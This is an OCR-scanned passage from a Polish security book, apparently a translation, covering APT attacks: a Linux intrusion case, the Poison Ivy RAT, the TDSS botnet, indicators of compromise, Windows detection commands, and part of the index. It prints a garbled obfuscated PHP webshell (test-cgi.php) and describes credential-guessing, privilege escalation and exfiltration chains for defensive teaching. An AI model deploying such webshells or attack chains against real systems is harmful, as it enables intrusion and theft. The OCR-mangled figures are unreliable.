nagios takze ustawiono fatwe do odgadnigcia dane uwierzytelniajace (to zly dzien
dla Jacka). Hasto to nagios i zapewnia ono pelny dostep do powtoki na hoscie. Napast-
nik zyskuje dzieki temu nowy sposéb do poruszania sie w systemie. W historii pole-
cen uruchamianych z poziomu konta nagios znajdujemy inne dziwne instrukgcje.

Ale skad napastnicy wiedzieli, ze majg zgadywac¢ hasto do konta nagios? Mogli
wywola¢ instrukcje cat /etc/passwd, poniewaz wszyscy maja dostep do pliku passwd.
Gdy napastnik pozna nazwy uzytkownikéw, system jest chroniony tylko przez sto-
sowane zabezpieczenia (kontrole dostepu, uruchamianie z minimalnymi upraw-
nieniami itd.). Jednak gdy wlamywacz ma dostep do powtoki, zwykle tylko kwestig
czasu jest uruchomienie jej z uprawnieniami administratora.

Konto nagios ma dostep do (domyslnej) powloki /bin/bash, a Jack wlasnie przy-
znal, Ze jego haslo mozna tatwo odgadnac na podstawie pola gecos (haslo to imie
i nazwisko Jacka; rysunek 6.31). Poniewaz program sudo dziala z domys$lnymi
ustawieniami, napastnik moze bez problemdéw ustali¢ hasto Jacka, a nastepnie wywo-
ta¢ instrukcje sudo su -, ktora widzieliémy w historii konta Jacka. Gra skonczona.

Kup ksigzke Pole¢ ksigzke


http://helion.pl/page354U~rt/wszyha
http://helion.pl/page354U~rf/wszyha

Rozdziat 6. Cyberprzestepstwai ataki ApT 419

10:uucp: fva
3:rproxy:/f

1 (admin) :/varflib/gnat
fbindsh
/binssh

infnolegin
e fvar/lib/fpostgresgl: /bin/bash
ar/lib/landscap alse

are/tomcaté: /bin/false

£1000: Jack Black,,,:/home/jack: bin/bash
01:1001:,,,:/home/nagios: /bin/bash

.ll

rootéweb!

Rysunek 6.31. Konto nagios ma dostep do powtoki

A co z plikiem test-cgi.php (rysunek 6.32)?

rootBweb0l: fvar/wewf 11
total 1
drwxr-xr-x
drwxr-xr-x

arfwwwl cat t -ogi.php

ev{"edoced_4" esab™) jeval (Sb(str_replace(" ","","a WY o a XNz ZXQoJFODTOH9LEU Y
10pEXtvYlO=xdGE i D3INS i Y XNLINFjREZGVY jb2ZRLEK
I+ T3 ]

Rysunek 6.32. Analizowanie pliku test-cgi.php
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Najwyrazniej nie jest to nieszkodliwy plik .php. Podejrzewamy, ze jest to pewnego
rodzaju ,furtka” dajaca dostep do powloki przez kod w PHP (czesto pozwala on
nawigzywa¢ odwrotne polaczenia telnetowe itd.). Plik ten wyglada na wygenerowany
za pomocg pakietu Webacoo do tworzenia ,,furtek”.

Podsumowanie ataku APT na system Linux

Oto czego dowiedzieli$my si¢ w trakcie badan:

* Wiemy, ze napastnikom udalo si¢ uzyskac¢ dostep do konta administratora
hosta. Uwazamy, ze wykorzystal do tego serwer Tomcat ze stabymi danymi
uwierzytelniajacymi.

* Znalezlismy dowody dzialania skryptow i powtoki z bitem SUID. Dlatego
kimkolwiek byt napastnik, chcial zachowa¢ dostep i przygotowat kilka sposobow
wejécia do systemu (konta, powloka przez kod PHP, powloka przez plik z bitem
SUID itd.).

* Napastnik badat srodowisko i szukal innych celéw.

» Z uwagi na zaawansowany charakter narzedzia Metasploit Framework
i podobnych programoéw jedna zainfekowang maszyne mozna tatwo
wykorzystac jako host posredniczgcy (ang. pivot host). Dzigki temu napastnik
moze uzyskac dostep do maszyn i wykorzystywac je bez instalowania narzedzi
na przejetym komputerze. Ponadto powloki (np. Meterpreter) sg zaprojektowane
tak, aby dzialaly w pamieci, dlatego nie trzeba zapisywa¢ zadnych danych
na dysku.

& Poison Ivy

Popularnosé 10
Latwos¢ przeprowadzenia 10

Szkodliwosé 9

Ocena zagrozenia 10

Poison Ivy to bardzo popularne narzedzie uzywane przez wielu napastnikéw
w atakach APT. To szkodliwe oprogramowanie byto rozwijane publicznie (www.
poisonivy-rat.com/) do roku 2008. Jednak kod zrédtowy nadal jest dostepny w inter-
necie. Mozna go modyfikowac i tworzy¢ w ten sposdb niestandardowe trojany.

Najpopularniejszym sposobem rozpowszechniania i instalowania narzedzia Poison
Ivy jest ukierunkowany phishing z wykorzystaniem e-maili i programu do pobierania
trojanow (czesto jest on samorozpakowujacym sie plikiem o rozszerzeniu 7zip). To
narzedzie RAT wykorzystano w wielu atakach APT — Operation Aurora, RSA
(blogs.rsa.com/anatomy-of-an-attack/) i Nitro (www.symantec.com/content/en/us/
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enterprise/media/security_response/whitepapers/the_nitro_attacks.pdf). Na rysunku 6.33
przedstawiono przyktadowy e-mail wykorzystany w ramach ukierunkowanego phish-
ingu w atakach Nitro.

B Latest Adobe Security Update - Message (Plain Text) 2 |E||5]
. File Edit ‘iew Insert Format Tools Actions Help

i._;R_evaéggReplymnii fapForward | =§ Ba |t | w B3 X | & - % - & @3

| This message was sent with High importance,

From: Adobe Support [support@email. adobe. com] Sent:  Fri9/16/2011 10:59 AM

Tos
Cci
Subject:  Latest adobe Security Update

Attachments: gq:dabe_ﬁashplayerlﬂax.?z

Security bulletin _:j
Security updates available for Adobe Reader and Acrobat

Release date: September 13, 2011
Tulnerability identifier: APSE11-24

CVE rwumbers: CVE-2011-1353, CVE-2011-2431, CVE-2011-2432, CVE-2011-2433,
CVE-2011-2434, CVE-2011-2435, CVE-2011-2436, CVE-2011-2437, CVE-2011-2438,
CVE-2011-2439, CVE-2011-2440, CVE-2011-2441, CVE-2011-2442

Platform: 4ll
SUMMART]

Critical wulnerabilities have been identified in Adobe Reader X (10.1) and
earlier versions for Windows and Macintosh, Adobe Reader 9.4.2 and earlier
versions for UNIE, and Adobe Acrobat X (10.1) and earlier wversions for Windows
and Macintosh. Thesze vulnerabilitiez could cause the application to crash and
potentially allow an attacker to tzke control of the affected system.

More details and solution please refer to attachment, Extract pazsword is
"adobeflash’ .

After performing this procedure will be automatically updated without any
prompts, anti-virus software may be false positives.

Department of Security

b/

Rysunek 6.33. Przyktadowy e-mail rozsytany w ramach ukierunkowanego phishingu w atakach
Nitro (zrodfo: Symantec 2011)

Funkgje i dziatanie narzedzia Poison Ivy przypominajg GhOsta. Dlatego jeli narze-
dzia te zostang zastosowane w atakach APT, w trakcie reagowania na incydent i $ledz-
twa bedg znajdowane podobne artefakty. Gdy uzytkownik otwiera zalgcznik w e-mailu
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rozsytanym w ramach ukierunkowanego phishingu, instalowany jest program pobie-
rajacy »furtke”. Program ten kieruje zadania aktualizacji pod odpowiedni adres
i powiadamia napastnikow, ze jest aktywny (wysyla przy tym informacje na temat
systemu z zainfekowanego hosta). Napastnicy moga wykorzysta¢ punkt wejscia do
zinfiltrowania organizacji. Zalety narzedzia Poison Ivy nie ograniczajg sie jednak do
mozliwoéci instalowania ,,furtek” — moze ono pelni¢ takze funkcje serwera posred-
niczacego. Na rysunku 6.34 przedstawiono panel administracyjny tego narzedzia.

=[Of x|
@ Infomation Oty ¥ 2 | Device Manager
= MT.;::S = a B_atLely =]
T 8 Somch 1 Miciosoft AT Adapter
e 188 biciosoft ACPI-Compliant Control Method Battery
fab] Regedt - System
tant Search P
5 PfD'DESQES = ocesso
=y Services & Intel(R) CoaeTM)2 CPU T5500 @ 1.66GHz
& Devices @ vl Core(TMI2 CPU TS500 @ 1.65GHz
r—d . -2 Keybomd
& Installed Applications %5 Standad 101/102Key e Microselt Natural PS/2 Keyboard
] Whindows BT Mouss
& Tools o .
S8 Relsy ) Synaptics P5/2 Fort TouchPad —
- 5 "J' HID-kompatibel mus
o Active Ports & a Bluetocth
" E::::::':': it Miciozoft Blsstoath-upprgknare
| p— Cached Genetic Bluetooth Radio
5\ NT/NTLM Hashes | = 8 Net
& ieeless B Bluetooth-enhet [Personal Area Network]
- 3.'h1 B@ Bletoothvenhiet [RFCOMM:peotokall TOI)
~ Suefanes 19 Marvel Yukon SEEB0S5 PCIE Gigsbit Ethemet Cortroller
51 Key Logger <R PR :
":: ;“d"‘fg"‘"e WAN Miniport (L2TF)
. w”;:am?a:f‘e WAN Miniport [Network Moritor) =] save ToFie
* '—;Ptgm WAN Minioert (IP1 T El
o WiFiScanner (1.0.0] Dewice ID: POWEN_80868DEV_422255UB5Y5_10018086RE
s DO Desciiption: InkelR) PRO/wieless 3345ABG Netierk Connectio ~ Collapse Tree
B3| Administration Class: Met
& ERID Class GUID: {4D38E872-£325-11CE-BFC1-08002BE 10318} ¥ Show Hidden Devices
47 Share ;‘am.iad&e;; Iie!]'[;i Carporation B Enctie Device
P BhICE (2 :
% phdae Location: PCHbuss 4, enhet 0, furktion 0 ) Disable Device
& Restat Bus Murther: 4 M e femoval
X Urinstal
Download: | 0.008/: Upload: | 0.008/: i

Rysunek 6.34. Panel administracyjny narzedzia Poison Ivy

Kup ksigzke

Microsoft udostepnit raport ze szczegdlowym opisem funkeji (i zagrozen) narze-
dzia Poison Ivy (www.microsoft.com/en-us/download/details.aspx?displaylang=endid=
27871). Pozwala on zrozumie¢, jak popularny stat si¢ ten program od czasu jego
odkrycia w 2005 roku. W pazdzierniku 2011 roku Microsoft poinformowat, ze opro-
gramowanie MSRT (ang. Malicious Software Removal Tool) wykrylo ponad 16 000
komputeréw zainfekowanych trojanem do pobierania ,,furtek” z narzedzia Poison
Ivy. W calym 2011 roku $rednia liczba wykry¢ tego narzedzia przez rézine rozwia-
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zania z obszaru bezpieczenstwa wynosita od 4000 do 14 000 miesigcznie (co po doda-
niu do 16 000 znalezionych przez program MSRT daje w sumie ponad 58 000 zain-
tekowanych komputeréw). Przypadki te dotyczyly réznych instytucji komercyj-
nych i rzadowych z calego swiata.

Trzeba zauwazy¢, ze z uwagi na powszechng dostepnos$¢ narzedzie Poison Ivy
czesto stosuje sie w prostych, szybkich wlamaniach do komputeréw. Jest to dowod
na to, ze zastosowanie narzedzia Poison Ivy nie musi oznacza¢ ataku APT. Dopiero
powtarzane proby uzyskania dostepu do systemu i obserwowanie go lub wyprowa-
dzanie informacji z firmy §wiadczg o takim ataku.

& TDSS (TDL 1-4)

Popularnosé 5
Latwos¢ przeprowadzenia 8
Szkodliwos¢ 9
Ocena zagrozenia 8

Przynajmniej od 2008 roku dziata zaawansowane szkodliwe oprogramowanie, ktére
doprowadzilo do powstania sieci ponad pieciu milionéw zainfekowanych hostow
wykorzystywanych przez organizacje przestepcza prowadzacg operacje na calym
$wiecie i przez powigzanych abonentdéw. W sieci tej dziala trudne do wykrycia szko-
dliwe oprogramowanie, ktdre instaluje rootkita. Uzywa szyfrowanych plikéw i pola-
czen, a komunikacje C&C prowadzi przez duzy zbiér zainfekowanych hostéow (dzia-
tajacych jak prywatne lub anonimowe serwery posredniczace), otwarte serwery
posredniczace, a nawet sieci P2P. To szkodliwe oprogramowanie to TDSS. Znane s3
jego wersje TDL 1, 2, 3 i 4, a nawet oparte na nim narzedzia Zero Access i Purple Haze.

Cho¢ TDSS dziata inaczej niz narzedzia RAT, jest wykorzystywany przez napast-
nikéw (bezposrednio i posrednio) w atakach APT w zaleznosci od tego, jakich funkcji
potrzebujg abonenci (rysunek 6.35). Najwiekszg zaletg narzedzia TDSS jest tatwos¢
wlamywania sie. Wynika ona z obstugi wielu sposobéw infekowania (eksploity
zero-day aplikacji i serweréw, pakiet Black Hole Exploit, ukierunkowany phishing
oparty na e-mailach, wirusowe robaki rozsylane przez technologie P2P, IM i NetBIOS,
szkodliwe serwery DHCP itd.). Pozwalajg one nie tylko infekowaé komputery, ale tez
powigksza¢ sieci botnet.

Sie¢ botnet jest zwykle uzywana jako platforma MaaS$ (ang. Malware as a Service)
dla abonentéw, ktérzy wykonuja rézne operacje — przeprowadzaja rozproszone ataki
DDoS, generujg falszywe klikniecia w celu zwiekszenia dochodéw z reklam, a takze
zdalnie instalujg i wykonuja dodatkowe trojany z ,furtkami” (w tym programy
do wykradania hasel i informacji, narzedzia RAT, serwery reverse proxy i zdalne
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Rysunek 6.35. Wynajmij botnet oparty na TDSS-ie (zrddto: krebsonsecurity.com/2011/09/rent-
-a-bot-networks-tied-to-tdss-botnet/; inne materiaty sa dostepne w wyszukiwarce Google
— zapytanie intext:"The list of urgent proxies HTTP")

powloki). Abonament jest dostepny przez serwis AWMProxy.net (obecny adres to
AWMProxy.com) i dotyczy zainfekowanych sieci komputeréw z wybranych firm.

W wigkszosci atakow APT wykorzystuje si¢ adresy sieciowe serweréw lub ho-
stow posredniczacych, co ufatwia komunikacje C&C i utrudnia znalezienie sprawcow
przez zidentyfikowanie hosta (nalezy on do firmy lub niewinnej osoby). Sieci po-
sredniczace obejmujace hosty z sieci botnet utworzonych za pomocg TDSS-a s3 wyko-
rzystywane przez napastnikdw do namierzania i infiltrowania celéw oraz insta-
lowania dodatkowych narzedzi, co ulatwia dostep (i przyspiesza wltamania). Od
2011 roku podejscie to stosuje si¢ w coraz wigkszej liczbie atakow APT.

TYPOWE 0ZNAKI ATAKOW APT

Whbrew powszechnemu przekonaniu wiekszo$¢ atakdw nie polega na celowym hako-
waniu firmowych systemoéw. Zamiast tego napastnicy czesto stosujg ukierunkowany
phishing za pomocg ogdlnie namierzonych adreséw (przez badanie domeny przy
uzyciu publicznie dostepnych zrédet informacji) lub postuguja si¢ wirusami, aby
zainfekowa¢ komunikatory w celu wykradzenia hasel. Inne sposoby inicjowania ataku
to uzywanie komunikatoréw lub innych narzedzi, w ktérych uzytkownik moze klikna¢
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adres URL do szkodliwej witryny. W atakach APT czasem stosuje si¢ tez inne metody
inzynierii spolecznej lub celowo atakuje i penetruje systemy, wykorzystujac znane luki.
Mozna np. wstrzykna¢ kod w SQL-u, aby zainfekowa¢ podatny na atak serwer WWW.
Te ostatnie techniki stosuje si¢ jednak rzadziej, poniewaz sg zbyt tatwe do wykrycia
i nie s3 spdjne z celem napastnikow, czyli uzyskaniem dostepu do systemu w wyniku
dzialan uzytkownika, a nie przez sitowa penetracje.

W wielu sprawach dotyczacych atakow APT badanych przez analitykow zaob-
serwowalismy pewien zbiér oznak wlamania. Odkryli§my, ze na atak APT wskazuja
nastepujace zjawiska:

* Wykorzystywanie w komunikacji sieciowej protokotu SSL lub szyfrowania
kluczem prywatnym. Mozliwe jest tez przesylanie i odbieranie fancuchéw
znakow zakodowanych w formacie base64.

* Ustugi zarejestrowane w wezle NETSVCS i powiazane z plikami .dll lub
.exe (lub podobnymi poprawnymi plikami systemu Windows) z katalogu
%SYSTEM%.

* Kopie plikow cmd.exe, svchost.exe lub innych w katalogu % TEMP%.

e Pliki .Ink prowadzace do nieistniejacych plikéw wykonywalnych.

e Pliki .rdp prowadzace do adreséw IP z sieci zewnetrzne;j.

* Wpisy w dziennikach bezpieczenstwa systemu Windows dotyczace logowania
typu 3, 8 i 10 z zewnetrznych adreséw i z komputeréw o nazwach niezgodnych
z formatem uzywanym w organizacji.

» Wpisy w dziennikach zdarzen aplikacji dotyczace zatrzymania i ponownego
uruchomienia programu antywirusowego lub zapory.

* Wpisy w dziennikach bledéw serwera WWW i komunikatow HTTP dotyczace
uruchamiania i zatrzymywania ustug, logowania do lokalnego hosta lub przez
administratora, transferu plikoéw i polaczen z wybranymi adresami.

* Odnotowanie w dziennikach programu antywirusowego lub systemu préb
tworzenia plikow w katalogach C:\, C:\TEMP lub innych zastrzezonych
obszarach.

* Wykrycie przez program antywirusowy narzedzi PWS, Generic Downloader
lub Generic Dropper.

* Nietypowe wpisy w plikach .bash_history, /var/logs i konfiguracji ustug.
* Niespdjne znaczniki czasu plikow systemu operacyjnego.

Najczesciej stosowana metoda ataku, z ktorg sie ostatnio zetknelismy, wyglada tak:

1. Na adresy pracownikoéw firmy trafia e-mail rozsytany w ramach
ukierunkowanego phishingu.
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. Uzytkownik otwiera e-mail i klika odno$nik, co powoduje otwarcie przegladarki

lub innej aplikacji (takiej jak Adobe Reader, Microsoft Word, Microsoft Excel
lub Outlook Calendar). Uzytkownik jest przekierowywany pod ukryty adres
obejmujacy klucz zakodowany w formacie base64.

. Ukryty adres prowadzi do witryny do zbierania danych (ang. drop site),

ktora sprawdza przegladarke pod katem znanych luk i zwraca program
do pobierania trojanéw. Program ten jest zwykle tymczasowo zapisywany
w katalogu c:\documents and settings\<uzytkownik>\local settings\temp

i zostaje automatycznie uruchomiony.

. Uruchomiony program wykonuje instrukcje zakodowane w formacie base64

i przechodzi do innej witryny, z ktérej pobiera program do instalowania
trojanow. Ten ostatni stuzy do zainstalowania trojana z ,,furtka”. Trojan ten
zwykle:
a) wchodzi w sklad pakietu z programem instalacyjnym, ktory zostaje usuniety;
trojan z ,.furtky” zaczyna wtedy przesyla¢ dane do serwera C&C podanego
w pliku binarnym z trojanem

lub

b) jest zadany z witryny (moze to by¢ ta sama witryna, z ktérej pobrano
program instalacyjny) na podstawie informacji o konfiguracji systemu
przekazanych przez program instalacyjny; nastepnie program instalacyjny
zostaje usuniety, trojan z ,,furtka” zaczyna wtedy przesyta¢ dane do serwera
C&C podanego w pliku binarnym z trojanem.

. Program do pobierania trojanéw zwykle umieszcza trojana z ,,furtka” w katalogu

c:\windows\system32 i rejestruje plik .dll lub .exe w wezle HKLM\System\
<Controlset>\Services rejestru. Zwykle z wpisem trojana jest faczona instrukcja
svchost.exe netsvcs —k (aby trojan dziatal jako ustuga i wznawial prace
po ponownym uruchomieniu systemu).

. Trojany z ,,furtky” zwykle maja nazwy podobne do plikéw systemu Windows.
. Trojan z ,,furtka” stosuje szyfrowanie SSL do komunikacji z serwerem C&C.

Odbywa si¢ ona przez serwer posredniczacy, ktory przekierowuje dane zgodnie
z instrukcjami zapisanymi w formacie base64 lub hastami z nagtéwkow.
Czesto transmisja odbywa si¢ z udziatem kilku posrednikéw, co pozwala ukry¢
droge do serwera C&C. Sygnal jest zwykle wysylany okresowo, np. co pig¢
minut lub co kilka godzin.

. Napastnik komunikuje si¢ z trojanem z ,,furtka” przez sie¢ posredniczaca

(a czasem bezpos$rednio z poziomu serwera C&C). Polaczenia sg zwykle
szyfrowane za pomocg protokolu SSL, nawet jesli sa wykorzystywane
niestandardowe porty.

. Napastnicy zwykle zaczynaja od uzyskania listy nazw komputeréw i kont

uzytkownikow. Pozwala to pozna¢ stosowane w firmie formaty nazw. Nastepnie
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jest uzywane narzedzie typu pass-the-hash lub do pobierania informacji
na temat zabezpieczen (czesto sg to programy HOOKMSGINA lub
GSECDUMP). Pozwala to uzyska¢ dane na temat kont lokalnych i kont ustugi
Active Directory.

10. Napastnik w ramach wstepnego rekonesansu cz¢sto podnosi uprawnienia
za pomocy ustug, aby méc poruszac si¢ w poziomie po sieci. Przykladowo,
jesli podnosi lokalne uprawnienia za pomocg aplikacji z lukg (np. Internet
Explorera), czgsto wykorzystuje harmonogram zadan, aby uruchomié
powloke polecen z uprawnieniami administratora lub ustugi. Jest to znana
i czesto wykorzystywana luka wystepujaca we wszystkich wersjach systemu
Windows oprocz 7. Dlatego wazne jest, aby sprawdza¢ takze zaplanowane
zadania.

11. Napastnik famie hasta w trybie offline, a nast¢pnie za pomocg danych
uwierzytelniajacych przeprowadza rekonesans w zainfekowanej sieci.
Wykorzystuje do tego trojana z ,,furtka”, skanowanie sieci oraz wyliczanie
udzialéw i ustug za pomoca DOS-a. Pomaga to ustali¢, do jakich innych maszyn
mozna uzyska¢ dostep.

12. Po ustaleniu mozliwosci dostepu do maszyn w sieci napastnik stosuje narzedzia
administracyjne systemu Windows, np. MSTSC (RDP), SC, NET itd.

Jesli dostep jest ograniczony z uwagi na segmentacje sieci, czesto wykorzystuje
sie posrednika z funkcjg translacji NAT.

13. Po zakonczeniu rekonesansu i poruszania si¢ w poziomie po sieci napastnicy
przechodza do drugiego etapu. Instaluja dodatkowe trojany z ,furtkami”
i narzedzia typu reverse proxy (np. HTRAN), aby zapewni¢ sobie bardziej
bezposredni dostep i utworzy¢ punkty transferu.

14. Punkt transferu stuzy do zbierania i wykradania okreslonych zastrzezonych
informacji. Dane zwykle przesyla si¢ w zaszyfrowanych archiwach .zip lub .rar,
czesto dla niepoznaki zapisanych jako pliki .gif. Oto niektore artefakty zwigzane
z opisywanymi dziataniami:

* trojan z ,furtka” o nazwie podobnej do pliku systemu Windows,
* narzedzia GSECDUMP lub HOOKMSGINA,
* PsExec lub inne narzedzia z pakietu Sysinternals,

* HTRAN (w systemach intranetowych) albo ReDUH lub ASPXSpy
(w strefie ograniczonego zaufania lub na serwerach WWW),

* plik svchost.exe w katalogu % TEMP% majacy okolo 300 kilobajtow
(jest to kopia pliku cmd.exe, tworzona przy nawigzywaniu sesji RDP
za pomocy trojanéw z ,furtka”; standardowy rozmiar pliku svchost.exe
to ok. 15 kilobajtow),

e pliki .Ink lub .pf powigzane z DOS-owymi poleceniami uzywanymi
przez napastnika,
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* pliki.rdp i.bmc tworzone lub modyfikowane w trakcie poruszania
sie napastnika po sieci,

* wpisy w roznych plikach dziennika (w tym komunikatéw HTTP i btedéw,
jesli napastnik uzywa narzedzi ReDUH lub ASPXSpy) i dzienniku
bezpieczenstwa systemu Windows wskazujace na boczne ruchy w sieci.

@ Wykrywanie atakow APT

Istnieje kilka skutecznych rozwigzan pomocnych przy wykrywaniu atakéow tego
rodzaju. Jednak najlatwiejszym sposobem jest zastosowanie prostej procedury admi-
nistracyjnej. Mozna np. wykorzysta¢ skrypt logowania, ktory tworzy indeks systemu
plikéw (c:\dir /a /s /TC > \index\%computername% %date%.txt), do §ledzenia zmian
wprowadzanych w systemie. Analiza réznicowa odpowiednich indekséw pomaga
wykry¢ podejrzane pliki, ktérym warto si¢ przyjrze¢ na firmowych komputerach.
Co wiecej, mozna ustawi¢ SMS-owe alarmy zglaszane przy logowaniu si¢ na konta
administratoréw lokalnych i domeny na stacje robocze oraz serwery. Pomaga to
ustali¢ sposob dzialania napastnikow i odkry¢ informacje przydatne w trakcie anali-
zowania incydentu. Takze zasady zapory i systemu IDS uzywane do $ledzenia danych
kierowanych do technologii RDP i VNC, programu cmd.exe, konta administratora
i waznych kont pracownikéw dziatu IT pozwalajg wykrywa¢ podejrzang aktywnos¢.
Choc¢ te techniki wydaja si¢ proste, stanowig praktyczne rozwigzanie stosowane przez
osoby odpowiedzialne za reagowanie na incydenty. Sa to warto$ciowe metody, ktére
warto uwzgledni¢ w korporacyjnym programie bezpieczenstwa.
Oto inne wazne technologie, ktére pomagaja wykrywac i zwalcza¢ ataki APT:

* Produkty zapewniajace bezpieczenstwo systeméw koncowych — programy
antywirusowe, systemy HIPS i narzedzia sprawdzajace integralnos¢ systemu
plikow.

* Produkty do inspekcji systemdéw plikéw (odpowiedzialne za kontrolowanie
i inspekcje zmian).

* Narzedzia do badania i ochrony sieci, np. systemy IDS i IPS.

* Produkty do monitorowania sieci pelniace funkcje bram lub filtréw sieciowych
(np. Snort lub TCPDUMP).

* Produkty do zarzadzania informacjami i zdarzeniami z obszaru bezpieczenstwa,
z bazami danych na temat wltaman i raportami.

OSTRZEZENIE Proponowane tu narzedzia tez moga zosta¢ zainfekowane. Ponadto system moze by¢ zain-
fekowany w takim stopniu, ze narzedzia bedg zwracaly nieprawdziwe informacje. Dlatego
zachowaj ostrozno$¢ w trakcie wykonywania opisanych dalej krokow i nie wykluczaj wtamania,
nawet jesli nie udato Ci sig wykry¢ jego $ladow.
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Wszystkie instrukcje uruchamiaj z poziomu wiersza polecenn DOS-a (urucho-
mionego z uprawnieniami administratora), a dane zapisuj do pliku (>> %nazwa_
>komputera% APT.txt).

dir /a /s /Jod /tc c:\

1.

2.

11.
12.

13.

14.
15.

16.

Sprawdz, czy w katalogu %temp% (c:\documents and settings\<uzytkownik>\
local settings\temp) nie znajduja sie pliki .exe, .bat lub .*z*.

Sprawdz, czy w katalogu %application data% (c:\documents and settings\
<uzytkownik>\application data) nie znajduja si¢ pliki .exe, .bat lub .*z*.

. Sprawdz, czy w katalogu %system% (c:\windows\system32) nie znajduja si¢ pliki

.dll, .sys i .exe, ktorych nie ma w katalogu instalacyjnym (i386/winsxs/dllcache).
Zwrd¢ tez uwage na pliki o odmiennych od oryginatu datach utworzenia
lub rozmiarach.

. Sprawdz katalog %system% (c:\windows\system32) pod katem plikow .dll, .sys

i .exe o nieoczekiwanych datach utworzenia.

. Sprawdz, czy plik c:\windows\system32\etc\drivers\hosts ma standardowg

wielko$¢ 734 bajtow.

. Sprawdz, czy w katalogu c:\ nie wystepuja pliki .exe i.*z*.
. Poszukaj plikéw z .rdp (polaczenia z) i .bmc (polaczenia do) wedlug

odpowiednich dat oraz kont.

. Poszukaj plikow .Ink i .pf wedlug odpowiednich dat oraz kont.
. Poszukaj w katalogu c:\Recycler\ plikow .exe, .bat, .dll itd.
10.

Poréwnaj dzialanie sieci w réznych dniach i godzinach:
ipconfig /displaydns

Zapisz nazwy FQDN i adresy IP w pliku.

Sprawdz wyniki wykonania ponizszych instrukecji pod katem czarnej listy
lub anomalii:

reg query hkim\software\microsoft\windows\currentversion\run /s

reg query hkim\software\microsoft\windows\currentversion\runonce /s
Sprawdz wezty ze $ciezkami obejmujacymi katalog %temp% lub %application
data%.

Poszukaj nietypowych weztow w Sciezkach %system % lub %program files%.
Poszukaj potaczen z opisem USTANOWIONO lub NASEUCHIWANIE
z zewngtrznymi adresami IP:

netstat -ano

Zapisz identyfikatory PID, ktérych chcesz szuka¢ w danych zwréconych przez
instrukcje tasklist:
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tasklist /m

17. Poszukaj identyfikatoréw PID w danych zwrdéconych przez instrukcje netstat.
Zwro6¢ uwage na nietypowe nazwy ustug.

18. Zwrd¢ uwage na nietypowe pliki .exe i .dll w danych zwréconych przez ponizsze
instrukgje:
at
schtasks

19. Poszukaj zadan zaplanowanych w nietypowy sposoéb (instrukeja at).
20. Sprawdz $ciezke i plik .exe powigzane z nietypowymi zadaniami:

reg query HKLM\system\currentcontrolset\services /s /f ServiceDLL

21. Poszukaj ustug o nietypowych nazwach.

22. Poszukaj nietypowych $ciezek do plikow .dIl ustug i niewlasciwych nazw.
Jesli uruchomisz podane polecenia na wszystkich hostach w sieci i wezytasz
wyniki do bazy SQL, bedziesz mdgl w wydajny sposéb przeprowadzi¢ analize.
Dodatkowg zaleta wykonania tych operacji jest przygotowanie punktu
odniesienia przydatnego w trakcie ewentualnych analiz poréwnawczych.

@ Zabezpieczanie sie przed atakami APT

Ataki APT rozpoczynaja sie od tego, ze uzytkownik pomytkowo otwiera dokument,
klika odno$nik do strony internetowej lub uruchamia program. Nie wie przy tym,
jakie bedzie to mialo skutki dla systemu. Cho¢ moglibysmy opisa¢ w tym miej-
scu wszelkie mozliwe sposoby przeprowadzania atakéw APT, odsytamy Cie do
rozdziatu 12. Znajdziesz w nim wszystkie podstawowe informacje potrzebne do za-
pobiegania atakom APT.

PODSUMOWANIE

Obecnie najwiekszym zagrozeniem w cyberprzestrzeni nie s glosne wtamania lub
sieci botnet wykorzystywane do atakéw na systemy organizacji. Bardziej niebezpieczni
sg ukryci intruzi, ktorzy przez dlugi czas pozostajg niewykryci i ukradkiem wyszukujg
oraz wykradaja materialy z docelowej sieci. Te dyskretne, ale bardzo precyzyjnie
wymierzone ataki (nazywane czasem atakami APT) sa odpowiednikiem szpiegostwa
w cyberprzestrzeni, poniewaz zapewniaja ciagly dostep do chronionych firmowych
informacji. Tego rodzaju niezauwazane, ale grozne wtamania moga mie¢ bardzo
powazne skutki. Moga dotkna¢ kazdg firme, agencje rzadowg lub caly kraj — nieza-
leznie od branzy lub lokalizacji geograficzne;.
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ACL, Access Control List, 36, 268
AD, Active Directory, 130, 177
adres

IP, 60

MAG, 41
ADS, Alternate Data Streams, 256
agent

odzyskiwania kluczy, 268

przekazywania wiadomodci, 317

SNMP, 193
aktualizacje, 280
aktywne monitorowanie, 772
algorytm

DES, 339

DSP FFT, 445

haszowania hasta, 336

MD5, 239

NTLM, 235

tworzenia skrotow, 236
analiza

pakietow, 409

widma, 586
analizator

logiczny, 591

pakietow, 694
analizowanie

dziennikéw, 402

pamieci, 391
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plikow .bmc, 405

plikow .rdp, 404

pliku test-cgi.php, 419
anomalie w katalogu System32, 406
anonimowa komunikacja, 28
antena

panelowa, 545

typu talerz, 545

Yagi, 545
anteny

dookolne, 544

kierunkowe, 544

wielokierunkowe, 544
aplet Javy, 504
aplikacja

Android Market, 686, 689

Google Wallet, 718, 719

HTC Logger, 717

mundaya, 688

Superuser, 687
aplikacje

fabryczne, 749

na Androida, 689, 691

natywne, 693

sieciowe, 623
APR, ARP Poison Routing, 217
APT, Advanced Persistent Threats, 23, 374
architektura

Androida, 676

IPSec, 191
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archiwa, 48
ARP, Address Resolution Protocol, 79

ASEP, Autostart Extensibility Points, 259, 766
ASLR, Address Space Layout Randomization,

200, 728
ASP, Active Server Pages, 611
ASS, Autonomous System Scanner, 177
atak
FTP bounce, 97
GhOst, 409
man-in-the-middle, 216, 742
Nitro, 421
pass-the-hash, 218
return-to-libc, 298
rootkita, 369
shatter attack, 276
SYN flood, 96
XSS, 636
ataki
APT, 374-430
fazy, 377
grupa Anonymous, 382
na system Linux, 410, 420
narzedzia, 384
operacja Aurora, 379
RBN, 383
rozpoznawanie oznak, 425
szkodliwy e-mail, 387
techniki, 378
wykrywanie, 428
zabezpieczenia, 430
bez uwierzytelniania, 201
CRC-32, 331
CSREF, 584, 643, 645
DDoS, 423,797
na Adobe Flash Player, 225
na algorytm WEP, 554
na bazy danych
metody posrednie, 667
z poziomu sieci, 654, 657
na bazy Oracle, 188
na domowe rutery, 42

na sieci z obstuga szyfrowania, 553
na sieci z uwierzytelnianiem, 558
na systemy SCADA, 52
na urzgdzenia, 572
oparte na danych, 292
oparte na getadmin, 229
oparte na przekierowaniu, 216
przez falszowanie danych, 203
przez falszowanie nazw, 218
przez odbicie danych, 216
przez odmowe ustugi, 328, 532, 552, 604,
617,794-797
przez polaczenie anonimowe, 150
przez przepetnienie bufora, 273, 292
przez sesj¢ zerowg, 150
przez uniewaznienie uwierzytelnienia, 552
przez zimne przeladowanie, 269
sitowe, 38, 134, 288
sitowe na poczte glosowa, 480
stownikowe, 134
